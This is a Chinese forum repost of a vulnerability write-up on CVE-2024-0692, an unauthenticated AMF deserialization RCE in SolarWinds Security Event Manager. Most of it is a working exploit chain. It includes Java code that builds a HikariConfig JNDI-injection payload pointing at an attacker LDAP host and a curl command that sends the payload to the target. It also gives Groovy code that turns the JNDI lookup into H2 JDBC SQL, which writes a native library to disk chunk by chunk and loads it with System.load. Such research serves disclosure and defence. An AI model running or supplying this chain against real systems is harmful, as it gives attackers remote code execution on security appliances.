安全矩阵

 找回密码
 立即注册
搜索
查看: 866|回复: 0

SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692)

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2024-3-10 19:13:12 | 显示全部楼层 |阅读模式
船山信安 2024-03-06 00:00 湖南


前言
前几天刷推看到 ZDI 发了 SolarWinds Security Event Manager AMF 反序列化 RCE 的通告, 于是准备简单分析一下
https://www.zerodayinitiative.com/advisories/ZDI-24-215/
https://www.solarwinds.com/security-event-manager
首先说一下拿源码的流程
这个产品在官网就能下载到安装包, 里面是 ova 格式的 Linux 虚拟机, 需要手动导入 VMware
然后翻阅官方文档可以知道, 产品本身提供了 SSH 的功能, 但是 Shell 是一个受限的 cmcshell




appliance 菜单内可以执行 top 命令, 观察发现这是一个用 Java 编写的应用


cmcshell 本身没发现什么可以命令注入的地方, 所以只能通过虚拟机的 vmdk 文件读取磁盘内容拿到源码
这里我用的是 DiskGenius, 经过查找发现源码位于 lem 分区的 contego 目录



最后全部复制出来就行
同时得注意 Java 版本为 17, 并且没有 javac (后面会提到)



AMF 反序列化
AMF (Action Message Format) 反序列化基础知识
https://codewhitesec.blogspot.com/2017/04/amf.html
https://wouter.coekaerts.be/2011/amf-arbitrary-code-execution
https://www.mi1k7ea.com/2019/12/07/Java-AMF3反序列化漏洞/
https://blog.csdn.net/caiqiiqi/article/details/110629969
简单来说就是一种基于 setter/getter 的二进制序列化协议, 其在反序列化的过程中会调用指定类的公共无参构造方法, 然后通过 setter 恢复相关字段
另外在部分文章中会提到 AMF 只能序列化/反序列化实现 Serializable 接口的类, 但根据我的实际测试发现也可以序列化/反序列化非 Serializable 的类
SolarWinds Security Event Manager 使用了 Apache Flex BlazeDS, 版本为 4.7.3



4.7.3 版本中官方默认禁用 AMF 反序列化, 并且引入了 ClassDeserializationValidator 来控制能够被反序列化的类
https://github.com/apache/flex-blazeds/blob/develop/RELEASE_NOTES

  1. Starting with 4.7.3 BlazeDS Deserialization of XML is disabled completely per default
  2. but can easily be enabled in your services-config.xml:

  3.     <channels>
  4.         <channel-definition id="amf" class="mx.messaging.channels.AMFChannel">
  5.             <endpoint url="http://{server.name}:{server.port}/{context.root}/messagebroker/amf"
  6.                       class="flex.messaging.endpoints.AMFEndpoint"/>
  7.             <properties>
  8.                 <serialization>
  9.                     <allow-xml>true</allow-xml>
  10.                 </serialization>
  11.             </properties>
  12.         </channel-definition>
  13.     </channels>

  14. Also we now enable the ClassDeserializationValidator per default to only allow
  15. deserialization of whitelisted classes. BlazeDS internally comes with the following
  16. whitelist:

  17.     flex.messaging.io.amf.ASObject
  18.     flex.messaging.io.amf.SerializedObject
  19.     flex.messaging.io.ArrayCollection
  20.     flex.messaging.io.ArrayList
  21.     flex.messaging.messages.AcknowledgeMessage
  22.     flex.messaging.messages.AcknowledgeMessageExt
  23.     flex.messaging.messages.AsyncMessage
  24.     flex.messaging.messages.AsyncMessageExt
  25.     flex.messaging.messages.CommandMessage
  26.     flex.messaging.messages.CommandMessageExt
  27.     flex.messaging.messages.ErrorMessage
  28.     flex.messaging.messages.HTTPMessage
  29.     flex.messaging.messages.RemotingMessage
  30.     flex.messaging.messages.SOAPMessage
  31.     java.lang.Boolean
  32.     java.lang.Byte
  33.     java.lang.Character
  34.     java.lang.Double
  35.     java.lang.Float
  36.     java.lang.Integer
  37.     java.lang.Long
  38.     java.lang.Object
  39.     java.lang.Short
  40.     java.lang.String
  41.     java.util.ArrayList
  42.     java.util.Date
  43.     java.util.HashMap
  44.     org.w3c.dom.Document

  45. If you need to deserialize any other classes, be sure to register them in your
  46. services-config.xml:

  47.     <validators>
  48.         <validator class="flex.messaging.validators.ClassDeserializationValidator">
  49.             <properties>
  50.                 <allow-classes>
  51.                     <class name="org.mycoolproject.*"/>
  52.                     <class name="flex.messaging.messages.*"/>
  53.                     <class name="flex.messaging.io.amf.ASObject"/>
  54.                 </allow-classes>
  55.             </properties>
  56.         </validator>
  57.     </validators>

  58. (Beware, by manually providing a whitelist the default whitelist is disabled)
复制代码


相关配置位于 services-config.xml
对于 SolarWinds Security Event Manager, 这个文件位于 contego/run/tomcat/webapps/ROOT/WEB-INF/flex/services-config.xml

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <services-config>

  3.     <services>
  4.         <service-include file-path="remoting-config.xml" />
  5.         <service-include file-path="proxy-config.xml" />
  6.         <service-include file-path="messaging-config.xml" />
  7.     </services>

  8.     <security>
  9.         <login-command class="com.solarwinds.lem.manager.flexui.login.LemFlexLoginCommand" server="Tomcat" />
  10.         <security-constraint id="authenticated">
  11.             <auth-method>Custom</auth-method>
  12.             <roles>
  13.             </roles>
  14.         </security-constraint>
  15.     </security>

  16.     <channels>
  17.         <!-- Non-Secure Non-polling AMF -->
  18.         <channel-definition id="non-secure-non-polling-amf" class="mx.messaging.channels.AMFChannel">
  19.             <endpoint url="http://{server.name}:8080/services/messagebroker/nonsecureamf" class="flex.messaging.endpoints.AMFEndpoint" />
  20.             <properties>
  21.                 <add-no-cache-headers>false</add-no-cache-headers>
  22.                 <connect-timeout-seconds>120</connect-timeout-seconds>
  23.                 <login-after-disconnect>true</login-after-disconnect>
  24.                 <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
  25.                 <serialization>
  26.                     <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
  27.                     <allow-xml>true</allow-xml>
  28.                 </serialization>
  29.             </properties>
  30.         </channel-definition>

  31.         <!-- None-Secure Streaming AMF -->
  32.         <channel-definition id="non-secure-streaming-amf" class="mx.messaging.channels.StreamingAMFChannel">
  33.             <endpoint url="http://{server.name}:8080/services/messagebroker/nonsecurestreamingamf" class="com.solarwinds.lem.flex.blazeds.ManagedStreamingAmfEndpoint" />
  34.             <properties>
  35.                 <add-no-cache-headers>false</add-no-cache-headers>
  36.                 <connect-timeout-seconds>120</connect-timeout-seconds>
  37.                 <idle-timeout-minutes>0</idle-timeout-minutes>
  38.                 <server-to-client-heartbeat-millis>5000</server-to-client-heartbeat-millis>
  39.                 <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
  40.                 <flex-client-outbound-queue-processor class="com.solarwinds.lem.flex.blazeds.ManagedBlazeDsOutboundQueueProcessor"></flex-client-outbound-queue-processor>
  41.                 <serialization>
  42.                     <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
  43.                     <allow-xml>true</allow-xml>
  44.                 </serialization>
  45.                 <user-agent-settings>
  46.                     <!-- Internet Explorer 11 -->
  47.                     <user-agent match-on="Trident" kickstart-bytes="2048" max-persistent-connections-per-session="5"/>
  48.                 </user-agent-settings>
  49.             </properties>
  50.         </channel-definition>

  51.         <!-- Secure Non-polling AMF -->
  52.         <channel-definition id="secure-non-polling-amf" class="mx.messaging.channels.SecureAMFChannel">
  53.             <endpoint url="https://{server.name}:8443/services/messagebroker/amf" class="flex.messaging.endpoints.SecureAMFEndpoint" />
  54.             <properties>
  55.                 <add-no-cache-headers>false</add-no-cache-headers>
  56.                 <connect-timeout-seconds>120</connect-timeout-seconds>
  57.                 <login-after-disconnect>true</login-after-disconnect>
  58.                 <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
  59.                 <serialization>
  60.                     <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
  61.                     <allow-xml>true</allow-xml>
  62.                 </serialization>
  63.             </properties>
  64.         </channel-definition>

  65.         <!-- Secure Streaming AMF -->
  66.         <channel-definition id="secure-streaming-amf" class="mx.messaging.channels.SecureStreamingAMFChannel">
  67.             <endpoint url="https://{server.name}:8443/services/messagebroker/streamingamf" class="com.solarwinds.lem.flex.blazeds.ManagedSecureStreamingAmfEndpoint" />
  68.             <properties>
  69.                 <add-no-cache-headers>false</add-no-cache-headers>
  70.                 <connect-timeout-seconds>120</connect-timeout-seconds>
  71.                 <idle-timeout-minutes>0</idle-timeout-minutes>
  72.                 <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
  73.                 <login-after-disconnect>true</login-after-disconnect>
  74.                 <server-to-client-heartbeat-millis>5000</server-to-client-heartbeat-millis>
  75.                 <flex-client-outbound-queue-processor class="com.solarwinds.lem.flex.blazeds.ManagedBlazeDsOutboundQueueProcessor"></flex-client-outbound-queue-processor>
  76.                 <serialization>
  77.                     <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
  78.                     <allow-xml>true</allow-xml>
  79.                 </serialization>
  80.                 <user-agent-settings>
  81.                     <!-- Internet Explorer 11 -->
  82.                     <user-agent match-on="Trident" kickstart-bytes="2048" max-persistent-connections-per-session="5"/>
  83.                 </user-agent-settings>
  84.             </properties>
  85.         </channel-definition>
  86.     </channels>

  87.     <flex-client>
  88.         <heartbeat-interval-millis>300000</heartbeat-interval-millis>
  89.     </flex-client>

  90.     <logging>
  91.         <target class="flex.messaging.log.ConsoleTarget" level="WARN">
  92.             <properties>
  93.                 <prefix>[BlazeDS] </prefix>
  94.                 <includeDate>true</includeDate>
  95.                 <includeTime>true</includeTime>
  96.                 <includeLevel>true</includeLevel>
  97.                 <includeCategory>true</includeCategory>
  98.             </properties>
  99.             <filters>
  100.                 <pattern>Endpoint.*</pattern>
  101.                 <pattern>Service.*</pattern>
  102.                 <pattern>Startup.*</pattern>
  103.                 <pattern>Client.*</pattern>
  104.                 <pattern>Message.*</pattern>
  105.                 <pattern>Protocol.*</pattern>
  106.                 <pattern>Security</pattern>
  107.                 <pattern>Timeout</pattern>
  108.                 <pattern>Configuration</pattern>
  109.             </filters>
  110.         </target>
  111.     </logging>

  112.     <system>
  113.         <redeploy>
  114.             <enabled>false</enabled>
  115.         </redeploy>
  116.     </system>

  117.     <validators>
  118.         <validator class="flex.messaging.validators.ClassDeserializationValidator">
  119.             <properties>
  120.                 <allow-classes>
  121.                     <class name=".*"/>
  122.                 </allow-classes>
  123.             </properties>
  124.         </validator>
  125.     </validators>

  126. </services-config>
复制代码


根据上述 XML 配置可以知道
  • 处理 AMF 数据的两个 Endpoint (另外还有两个 8080 端口的但是无法访问)

    • https://{server.name}:8443/services/messagebroker/amf, 对应 flex.messaging.endpoints.SecureAMFEndpoint
    • https://{server.name}:8443/services/messagebroker/streamingamf, 对应 com.solarwinds.lem.flex.blazeds.ManagedSecureStreamingAmfEndpoint

  • validator 标签的 allow-classes 属性被设置成 .*, 即允许任意类被反序列化

以 ManagedSecureStreamingAmfEndpoint 为例
其父类 flex.messaging.endpoints.StreamingAMFEndpoint 会在请求时创建 FilterChain (责任链模式), 其中包含 SerializationFilter




flex.messaging.endpoints.amf.SerializationFilter#invoke
代码比较长, 仅截取部分内容




这是一个非常明显的反序列化入口点, 没有任何鉴权措施, 直接 POST 数据并设置 Content-Type 为 application/amf 就能触发反序列化




难点在于后续 Gadget 的构造
HikariCP JNDI 注入
jar 依赖

  1. $ tree lib
  2. lib
  3. ├── HikariCP-java7-2.4.13.jar
  4. ├── asn-one-0.6.0.jar
  5. ├── axis-1.4.jar
  6. ├── axis-jaxrpc-1.4.jar
  7. ├── axis-wsdl4j-1.5.1.jar
  8. ├── bcpkix-jdk18on-1.76.jar
  9. ├── bcprov-jdk18on-1.76.jar
  10. ├── bcutil-jdk18on-1.76.jar
  11. ├── c3p0-0.9.5.4.jar
  12. ├── classmate-1.5.1.jar
  13. ├── commons-beanutils-1.9.4.jar
  14. ├── commons-cli-1.5.0.jar
  15. ├── commons-codec-1.15.jar
  16. ├── commons-collections4-4.4.jar
  17. ├── commons-compress-1.21.jar
  18. ├── commons-csv-1.9.0.jar
  19. ├── commons-dbutils-1.7.jar
  20. ├── commons-digester-2.1.jar
  21. ├── commons-discovery-0.2.jar
  22. ├── commons-exec-1.3.jar
  23. ├── commons-fileupload-1.5.jar
  24. ├── commons-httpclient-3.1.jar
  25. ├── commons-io-2.11.0.jar
  26. ├── commons-lang3-3.12.0.jar
  27. ├── commons-text-1.10.0.jar
  28. ├── ecj-3.21.0.jar
  29. ├── eddsa-0.3.0.jar
  30. ├── flex-messaging-common-4.7.3.jar
  31. ├── flex-messaging-core-4.7.3.jar
  32. ├── flex-messaging-proxy-4.7.3.jar
  33. ├── flex-messaging-remoting-4.7.3.jar
  34. ├── gen2-license-client-1.1.5.jar
  35. ├── guava-32.1.2-jre.jar
  36. ├── h2-2.1.214.jar
  37. ├── hibernate-validator-6.2.5.Final.jar
  38. ├── httpclient-4.5.13.jar
  39. ├── httpcore-4.4.14.jar
  40. ├── istack-commons-runtime-3.0.12.jar
  41. ├── jackson-annotations-2.15.2.jar
  42. ├── jackson-core-2.15.2.jar
  43. ├── jackson-databind-2.15.2.jar
  44. ├── jackson-datatype-jsr310-2.11.2.jar
  45. ├── jakarta-regexp-1.4.jar
  46. ├── jakarta.activation-1.2.2.jar
  47. ├── jakarta.activation-api-1.2.2.jar
  48. ├── jakarta.mail-1.6.7.jar
  49. ├── jakarta.validation-api-2.0.2.jar
  50. ├── jakarta.xml.bind-api-2.3.3.jar
  51. ├── jakarta.xml.soap-api-1.4.2.jar
  52. ├── jasperreports-6.20.5.jar
  53. ├── jasperreports-chart-themes-6.20.5.jar
  54. ├── jasperreports-fonts-6.20.5.jar
  55. ├── jasperreports-functions-6.20.5.jar
  56. ├── javax.annotation-api-1.3.2.jar
  57. ├── jaxb-runtime-2.3.6.jar
  58. ├── jaxb2-basics-runtime-0.12.0.jar
  59. ├── jboss-logging-3.4.1.Final.jar
  60. ├── jcl-over-slf4j-1.7.36.jar
  61. ├── jcommon-1.0.23.jar
  62. ├── jfreechart-1.0.19.jar
  63. ├── jna-5.12.1.jar
  64. ├── jna-platform-5.12.1.jar
  65. ├── jsch-0.1.54.jar
  66. ├── jtidy-4aug2000r7-dev-hudson-1.jar
  67. ├── jug-1.0.jar
  68. ├── jul-to-slf4j-1.7.36.jar
  69. ├── lem_actions.jar
  70. ├── lem_actors.jar
  71. ├── lem_agent.jar
  72. ├── lem_alerts.jar
  73. ├── lem_appliance-utils.jar
  74. ├── lem_client-messaging-api.jar
  75. ├── lem_commons.jar
  76. ├── lem_communication-config-agent.jar
  77. ├── lem_communication.jar
  78. ├── lem_configuration-manager.jar
  79. ├── lem_connector-core.jar
  80. ├── lem_connector-profile-templates.jar
  81. ├── lem_connector-updates.jar
  82. ├── lem_core-api.jar
  83. ├── lem_core.jar
  84. ├── lem_dashboards.jar
  85. ├── lem_data-signing.jar
  86. ├── lem_diagnostics.jar
  87. ├── lem_encryptfs-db.jar
  88. ├── lem_encryptfs.jar
  89. ├── lem_event-console-ui.jar
  90. ├── lem_event-console.jar
  91. ├── lem_expression-tree.jar
  92. ├── lem_fim-configuration.jar
  93. ├── lem_flex-services.jar
  94. ├── lem_flex-ui-module.jar
  95. ├── lem_groups.jar
  96. ├── lem_keyValue-store.jar
  97. ├── lem_ldap-service.jar
  98. ├── lem_ldap-utils.jar
  99. ├── lem_license-api.jar
  100. ├── lem_license-impl.jar
  101. ├── lem_liru.jar
  102. ├── lem_lucius-binary.jar
  103. ├── lem_lucius.jar
  104. ├── lem_mail.jar
  105. ├── lem_manager-agent-upgrade.jar
  106. ├── lem_manager-api.jar
  107. ├── lem_manager-connector-handler.jar
  108. ├── lem_manager-connector-settings.jar
  109. ├── lem_manager-impl.jar
  110. ├── lem_manager-old.jar
  111. ├── lem_manager.jar
  112. ├── lem_module-base.jar
  113. ├── lem_module-manager-client.jar
  114. ├── lem_module-manager-server.jar
  115. ├── lem_module-manager.jar
  116. ├── lem_module-storage.jar
  117. ├── lem_monitor-filter-statistics.jar
  118. ├── lem_monitoring.jar
  119. ├── lem_package-repository.jar
  120. ├── lem_phonehome.jar
  121. ├── lem_quartz-scheduler.jar
  122. ├── lem_rawsearch-manager.jar
  123. ├── lem_rawsearch-module.jar
  124. ├── lem_report.jar
  125. ├── lem_rules.jar
  126. ├── lem_search.jar
  127. ├── lem_sftp.jar
  128. ├── lem_solr-commons.jar
  129. ├── lem_solr.jar
  130. ├── lem_swip-mappers.jar
  131. ├── lem_swip.jar
  132. ├── lem_swis-rest-api.jar
  133. ├── lem_swis.jar
  134. ├── lem_tags.jar
  135. ├── lem_threat-feeds.jar
  136. ├── lem_tls-restriction.jar
  137. ├── lem_tns_apache-solr-core.jar
  138. ├── lem_tomcat-helper.jar
  139. ├── lem_tools.jar
  140. ├── lem_user-module-demo.jar
  141. ├── lem_user-module-ldap.jar
  142. ├── lem_user-module-legacy.jar
  143. ├── lem_user-module-local.jar
  144. ├── lem_user-module-sso.jar
  145. ├── lem_user-module-ui.jar
  146. ├── lem_user-module.jar
  147. ├── lem_user-repository.jar
  148. ├── lem_util.jar
  149. ├── lem_web-module.jar
  150. ├── lem_web-ui-module.jar
  151. ├── lem_websocket-client-messaging.jar
  152. ├── logback-classic-1.2.11.jar
  153. ├── logback-core-1.2.11.jar
  154. ├── lucene-analyzers-2.9.3.jar
  155. ├── lucene-analyzers-common-4.1.0.jar
  156. ├── lucene-codecs-4.1.0.jar
  157. ├── lucene-core-2.9.3.jar
  158. ├── lucene-core-4.1.0.jar
  159. ├── lucene-facet-4.1.0.jar
  160. ├── lucene-highlighter-2.9.3.jar
  161. ├── lucene-memory-2.9.3.jar
  162. ├── lucene-misc-2.9.3.jar
  163. ├── lucene-queries-2.9.3.jar
  164. ├── lucene-queries-4.1.0.jar
  165. ├── lucene-queryparser-4.1.0.jar
  166. ├── lucene-sandbox-4.1.0.jar
  167. ├── lucene-snowball-2.9.3.jar
  168. ├── lucene-spellchecker-2.9.3.jar
  169. ├── mssql-jdbc-7.2.1.jre8.jar
  170. ├── mybatis-3.5.11.jar
  171. ├── mybatis-spring-2.0.7.jar
  172. ├── netty-buffer-4.1.96.Final.jar
  173. ├── netty-codec-4.1.96.Final.jar
  174. ├── netty-common-4.1.96.Final.jar
  175. ├── netty-handler-4.1.96.Final.jar
  176. ├── netty-resolver-4.1.96.Final.jar
  177. ├── netty-transport-4.1.96.Final.jar
  178. ├── netty-transport-native-unix-common-4.1.96.Final.jar
  179. ├── network-error-handler-0.3.1.jar
  180. ├── o365-log-client-1.0.0.jar
  181. ├── ojdbc8-12.2.0.1.jar
  182. ├── openpdf-1.3.30.jaspersoft.2.jar
  183. ├── oro-2.0.8.jar
  184. ├── postgresql-42.6.0.jar
  185. ├── quartz-2.3.2.jar
  186. ├── saaj-impl-1.5.3.jar
  187. ├── slf4j-api-1.7.36.jar
  188. ├── snmp4j-3.5.1.jar
  189. ├── solr-commons-csv-1.4.1.jar
  190. ├── solr-solrj-1.4.1.jar
  191. ├── spring-aop-5.3.29.jar
  192. ├── spring-beans-5.3.29.jar
  193. ├── spring-context-5.3.29.jar
  194. ├── spring-context-support-5.3.29.jar
  195. ├── spring-core-5.3.29.jar
  196. ├── spring-expression-5.3.29.jar
  197. ├── spring-jcl-5.3.29.jar
  198. ├── spring-jdbc-5.3.29.jar
  199. ├── spring-ldap-core-2.4.1.jar
  200. ├── spring-messaging-5.3.29.jar
  201. ├── spring-oxm-5.3.29.jar
  202. ├── spring-security-config-5.8.5.jar
  203. ├── spring-security-core-5.8.5.jar
  204. ├── spring-security-crypto-5.8.5.jar
  205. ├── spring-security-kerberos-core-1.0.1.RELEASE.jar
  206. ├── spring-security-kerberos-web-1.0.1.RELEASE.jar
  207. ├── spring-security-messaging-5.8.5.jar
  208. ├── spring-security-web-5.8.5.jar
  209. ├── spring-tx-5.3.29.jar
  210. ├── spring-web-5.3.29.jar
  211. ├── spring-webmvc-5.3.29.jar
  212. ├── spring-websocket-5.3.29.jar
  213. ├── spring-ws-core-3.1.3.jar
  214. ├── spring-xml-3.1.3.jar
  215. ├── sshfactory-1.0.jar
  216. ├── sshj-0.36.0.jar
  217. ├── sslcontext-kickstart-7.4.9.jar
  218. ├── stax-ex-1.8.3.jar
  219. ├── swagger-annotations-1.6.6.jar
  220. ├── swip-2.0.2.jar
  221. ├── syslog-java-client-1.1.6-swi.1.jar
  222. ├── tomcat-api-8.5.93.jar
  223. ├── tomcat-catalina-8.5.93.jar
  224. ├── tomcat-coyote-8.5.93.jar
  225. ├── tomcat-el-api-8.5.93.jar
  226. ├── tomcat-jasper-el-8.5.93.jar
  227. ├── tomcat-jaspic-api-8.5.93.jar
  228. ├── tomcat-jni-8.5.93.jar
  229. ├── tomcat-juli-8.5.93.jar
  230. ├── tomcat-servlet-api-8.5.93.jar
  231. ├── tomcat-util-8.5.93.jar
  232. ├── tomcat-util-scan-8.5.93.jar
  233. ├── tomcat-websocket-8.5.93.jar
  234. ├── tomcat-websocket-api-8.5.93.jar
  235. ├── txw2-2.3.6.jar
  236. └── xstream-1.4.20.jar

  237. 1 directory, 234 files
复制代码


目标环境为 Java 17, 不存在 TemplatesImpl, 并且 JdbcRowSetImpl 会因为 Java 模块化的原因导致无法访问
虽然存在 commons-beanutils 和 commons-collections4, 但是 AMF 反序列化的流程是调用公共无参构造函数 + setter 赋值, 入口点并不是 readObject, 也无法使用
高版本 JDK 反序列化的利用思路大致都是通过 JDBC 攻击实现 RCE, 因此可以寻找一些直接能够发起 JDBC 连接的 gadget, 或者先获取 JNDI 注入, 然后通过 JDNI 发起 JDBC 连接
注意到环境存在 HikariCP 依赖, 容易得到 com.zaxxer.hikari.HikariConfig 这个类




经典的 JNDI 注入
  1. package com.example;

  2. import com.zaxxer.hikari.HikariConfig;
  3. import flex.messaging.io.SerializationContext;
  4. import flex.messaging.io.amf.*;
  5. import flex.messaging.validators.ClassDeserializationValidator;

  6. import java.io.ByteArrayInputStream;
  7. import java.io.ByteArrayOutputStream;
  8. import java.lang.reflect.Field;
  9. import java.nio.file.Files;
  10. import java.nio.file.Paths;

  11. public class Demo {
  12.     public static void main(String[] args) throws Exception {

  13.         HikariConfig config = new HikariConfig();
  14.         Field f = HikariConfig.class.getDeclaredField("metricRegistry");
  15.         f.setAccessible(true);
  16.         f.set(config, "ldap://100.109.34.110:1389/x");

  17.         byte[] data = serialize(config);
  18.         deserialize(data);
  19.         Files.write(Paths.get("/Users/exp10it/payload.amf"), data);
  20.     }

  21.     public static byte[] serialize(Object data) throws Exception {
  22.         MessageBody body = new MessageBody();
  23.         body.setData(data);
  24.         ActionMessage message = new ActionMessage();
  25.         message.addBody(body);
  26.         ByteArrayOutputStream out = new ByteArrayOutputStream();
  27.         AmfMessageSerializer serializer = new AmfMessageSerializer();
  28.         serializer.initialize(SerializationContext.getSerializationContext(), out, null);
  29.         serializer.writeMessage(message);
  30.         return out.toByteArray();
  31.     }

  32.     public static ActionMessage deserialize(byte[] amf) throws Exception {
  33.         ByteArrayInputStream in = new ByteArrayInputStream(amf);
  34.         AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
  35.         SerializationContext context = SerializationContext.getSerializationContext();
  36.         ClassDeserializationValidator validator = new ClassDeserializationValidator();
  37.         validator.addAllowClassPattern(".*");
  38.         context.setDeserializationValidator(validator);
  39.         deserializer.initialize(context, in, null);
  40.         ActionMessage actionMessage = new ActionMessage();
  41.         deserializer.readMessage(actionMessage, new ActionContext());
  42.         return actionMessage;
  43.     }
  44. }
复制代码


将生成的 payload.amf 发送给目标服务器, 即可收到 JNDI 请求
  1. curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -
复制代码


受限制的 JDBC H2 RCE利用思路
后续原本想通过 JNDI 注入打 Java 原生反序列化, 但是没找到合适的 gadget
commons-collections4 为最新的 4.4 版本, 这个版本使得包括 InvokerTransformer 在内的一系列 Transformer 都不再实现 Serializable 接口, 无法被反序列化
commons-beanutils 虽然可以利用, 但没有了 TemplatesImpl, 一时半会没找到其它的 getter gadget
于是转向 JDBC, 观察到环境存在 H2 依赖, 因此可以尝试 H2 RCE
首先需要将 JNDI 转换成 JDBC 攻击, 参考: https://tttang.com/archive/1405/
同理, 在 HikariCP 中也存在类似的实现了 ObjectFactory 接口的类, 即 com.zaxxer.hikari.HikariJNDIFactory, 其 getObjectInstance 方法会发起 JDBC 连接




https://github.com/X1r0z/JNDIMap/blob/main/src/main/java/map/jndi/controller/database/HikariCPController.java#L21
  1. Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null);
  2. ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"))
  3. ref.add(new StringRefAddr("jdbcUrl", url))
  4. return ref;
复制代码


然后是 H2 数据库 RCE, 有三种方法: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript
https://paper.seebug.org/1832/
不过在目标环境下都不能利用成功
CREATE TRIGGER + JavaScript 会提示语法错误
这是因为 Java 自带的 Nashorn JavaScript 引擎已经在 Java 15 往后被删除, 而目标环境使用的是 Java 17

环境不存在 Groovy 依赖, 因此 CREATE ALIAS + Groovy 也会报错

CREATE ALIAS + Java 同样报错, 这个就比较有意思了
在开头提到过, 虚拟机内置的 Java 17 没有 javac 命令, 因此就不能通过 CREATE ALIAS 语句动态编译 Java 源代码




但实际上翻阅文档可以知道, H2 的 CREATE ALIAS 仍然可以调用位于 classpath 内的某个公共类的公共静态方法, 这点与 Oracle 类似
https://h2database.com/html/features.html
https://h2database.com/html/datatypes.html





直接给出我的两种利用思路:
写文件 + System.load
  • 利用 File.createTempFile 创建临时文件
  • 利用 commons-io 的 FileUtils 分块写文件
  • 利用 commons-beanutils 的 MethodUtils 反射调用实例/静态方法
  • 利用 System.load 加载动态链接库

ClassPathXmlApplicationContext
  • 利用 commons-beanutils 的 ConstructorUtils 实例化 ClassPathXmlApplicationContext
  • XML 内调用 ProcessBuilder.start 执行命令

File Write + System.load
payload (Groovy)

  1. import javax.naming.Reference
  2. import javax.naming.StringRefAddr

  3. // SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
  4. // file write + System.load

  5. def prefix = 'test'
  6. def lib_path = '/Users/exp10it/exp.so'

  7. def list = []

  8. // drop the previous alias if exists
  9. list << "DROP ALIAS IF EXISTS CREATE_FILE"
  10. list << "DROP ALIAS IF EXISTS WRITE_FILE"
  11. list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
  12. list << "DROP ALIAS IF EXISTS INVOKE_STATIC_METHOD"
  13. list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"

  14. // alias some external Java methods
  15. list << "CREATE ALIAS CREATE_FILE FOR 'java.io.File.createTempFile(java.lang.String, java.lang.String)'"
  16. list << "CREATE ALIAS WRITE_FILE FOR 'org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)'"
  17. list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
  18. list << "CREATE ALIAS INVOKE_STATIC_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)'"
  19. list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"

  20. // use java.io.File.createTempFile() to create a blank file with `.so` extension
  21. list << "SET @file=CREATE_FILE('$prefix', '.so')"

  22. // read native library file and encode it to hex
  23. def content = new File(lib_path).bytes.encodeHex().toString()
  24. // split it into several chunks to avoid SQL length limit
  25. def data = content.toList().collate(500)*.join()

  26. // write the chunks to the file (append mode)
  27. for (d in data) {
  28.    list << "CALL WRITE_FILE(@file, X'$d', TRUE)"
  29. }

  30. // invoke file.getAbsolutePath() to get the absolute path of the temp file
  31. list << "SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', NULL)"
  32. // invoke java.lang.System.load() to load the native library
  33. list << "SET @clazz=CLASS_FOR_NAME('java.lang.System')"
  34. list << "CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)"

  35. // use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
  36. def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"

  37. def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
  38. ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
  39. ref.add(new StringRefAddr("jdbcUrl", url));

  40. return ref
复制代码


这里有几个注意点
首先因为自 Java 9 引入的模块化机制, 不能直接使用 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename 写文件, 因此需要找到一个来自第三方依赖的可以写文件的静态方法
org.apache.commons.io.FileUtils#writeByteArrayToFile(java.io.File, byte[], boolean)

  1. public static void writeByteArrayToFile(File file, byte[] data, boolean append) throws IOException {
  2.     writeByteArrayToFile(file, data, 0, data.length, append);
  3. }
复制代码


但是这个方法需要一个 File 对象, 那么就得接着找能够返回 File 对象的静态方法
java.io.File#createTempFile(java.lang.String, java.lang.String, java.io.File)

  1. public static File createTempFile(String prefix, String suffix,
  2.                                   File directory)
  3.     throws IOException
  4. {
  5.     if (prefix.length() < 3) {
  6.         throw new IllegalArgumentException("Prefix string "" + prefix +
  7.             "" too short: length must be at least 3");
  8.     }
  9.     if (suffix == null)
  10.         suffix = ".tmp";

  11.     File tmpdir = (directory != null) ? directory
  12.                                       : TempDirectory.location();
  13.     @SuppressWarnings("removal")
  14.     SecurityManager sm = System.getSecurityManager();
  15.     File f;
  16.     do {
  17.         f = TempDirectory.generateFile(prefix, suffix, tmpdir);

  18.         if (sm != null) {
  19.             try {
  20.                 sm.checkWrite(f.getPath());
  21.             } catch (SecurityException se) {
  22.                 // don't reveal temporary directory location
  23.                 if (directory == null)
  24.                     throw new SecurityException("Unable to create temporary file");
  25.                 throw se;
  26.             }
  27.         }
  28.     } while (fs.hasBooleanAttributes(f, FileSystem.BA_EXISTS));

  29.     if (!fs.createFileExclusively(f.getPath()))
  30.         throw new IOException("Unable to create temporary file");

  31.     return f;
  32. }
